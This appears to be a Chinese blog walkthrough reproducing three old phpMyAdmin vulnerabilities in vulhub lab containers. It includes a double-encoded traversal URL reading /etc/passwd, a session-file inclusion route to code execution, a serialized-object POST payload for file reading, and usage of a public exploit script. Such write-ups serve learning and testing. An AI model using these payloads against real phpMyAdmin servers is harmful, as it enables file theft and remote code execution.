简介

phpMyAdmin是一个非常受欢迎的基于web的MySQL数据库管理工具。它能够创建和删除数据库,创建/删除/修改表格,删除/编辑/新增字段,执行SQL脚本等

复现三个古老漏洞

phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞(CVE-2016-5734)

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在其查找并替换字符串功能中,将用户输入的信息拼接进preg_replace函数第一个参数中。

以下版本受到影响:

  • 4.0.10.16之前4.0.x版本
  • 4.4.15.7之前4.4.x版本
  • 4.6.3之前4.6.x版本(实际上由于该版本要求PHP5.5+,所以无法复现本漏洞)

环境搭建

https://github.com/vulhub/vulhub/blob/master/phpmyadmin/CVE-2016-5734/

遇到的一点问题:

  1. 端口占用

Bind for 0.0.0.0:8080 failed: port is already allocated

容器占用的port还没有完全释放

停止相应的docker容器进程即可

  1. 搭建完启动后发现不能访问

原因是tcp6协议的问题

解决方法:

vim /usr/lib/sysctl.d/00-system.conf

添加: net.ipv4.ip_forward=1

再重启网络 systemctl restart network

(虽然还是tcp6,但能访问了)

发现root/root登录不进去emm

(搭建出错了)

要在yml文件同目录下传配置文件

这样搭建完成后root/root就登录进去了

利用

POC: https://www.exploit-db.com/exploits/40185

利用poc就可以执行远程命令了

py payload.py -u username -p password -c command [url]

phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

影响版本 phpMyAdmin 4.8.0和4.8.1

环境搭建 https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。

(需要登陆后才能利用,有些鸡肋)

访问

http://your-ip:8080/index.php?target=db_sql.php%3f/../../../../../../../../etc/passwd 可见/etc/passwd被读取,说明文件包含漏洞存在:

利用方式:

可以执行一下SELECT '<?=phpinfo()?>';

然后查看自己的sessionid(cookie中phpMyAdmin的值)

然后包含session文件,实现远程命令执行的效果

http://192.168.230.131:8080/index.php?target=db_events.php?/../../../../../../../../tmp/sess_69e9f3167acefddc069ac7d250c7ddfc

WooYun-2016-199433 反序列化

影响版本: phpmyadmin 2.x版本

危害 : 任意文件读取/远程代码执行

环境搭建 https://github.com/vulhub/vulhub/tree/master/phpmyadmin/WooYun-2016-199433

环境启动后,访问http://your-ip:8080,即可看到phpmyadmin的首页。因为没有连接数据库,所以此时会报错,但我们这个漏洞的利用与数据库无关,所以忽略。

抓包后 修改数据包为

POST /scripts/setup.php HTTP/1.1
Host: 192.168.230.131:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80 action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

可以看到读取了passwd文件

最新文章

  1. 模块化利器: 一篇文章掌握RequireJS常用知识
  2. SqlSever基础 where 与 group by组合起来 处理数据
  3. 数据库索引&lt;二&gt; 补充前篇
  4. OpenDaylight之openflowjava的编译
  5. RecordWriter接口解析
  6. Volley框架支持HTTPS请求。
  7. Linux ssh安全设置
  8. gcc -lpthread 干什么用
  9. 在web项目启动时,使用监听器来执行某个方法
  10. openinstall集成小技巧
  11. Mysql研磨之InnoDB行锁模式
  12. ubuntu 系统升级 cmake
  13. BZOJ.3545.[ONTAK2010]Peaks(线段树合并)
  14. SQL问题(面试题)
  15. soft nofile
  16. 关于react native的快捷键和常用规范
  17. JavaScript 中的 NaN 和 isNaN
  18. Redis在windows下安装过程(转载)
  19. Java NIO学习与记录(一):初识NIO
  20. hiho# 1465 重复旋律8 循环串计数 后缀自动机

热门文章

  1. Java 将PDF/XPS转为Word/html /SVG/PS/PCL/PNG、PDF和XPS互转(基于Spire.Cloud.SDK for Java)
  2. Java常见23中设计模式之【代理模式】
  3. 初探numpy——广播和数组操作函数
  4. idea为本地项目创建仓库并git到云上
  5. pycharm中导入包失败的解决办法
  6. mysql根据一张表更新另一张表数据
  7. Java8 集合去重和排序
  8. Docker中提交任务到Spark集群
  9. Windows系统VSCode、VBox搭建C/C++开发环境
  10. html实现邮箱发送邮件_js发送邮件至指定邮箱功能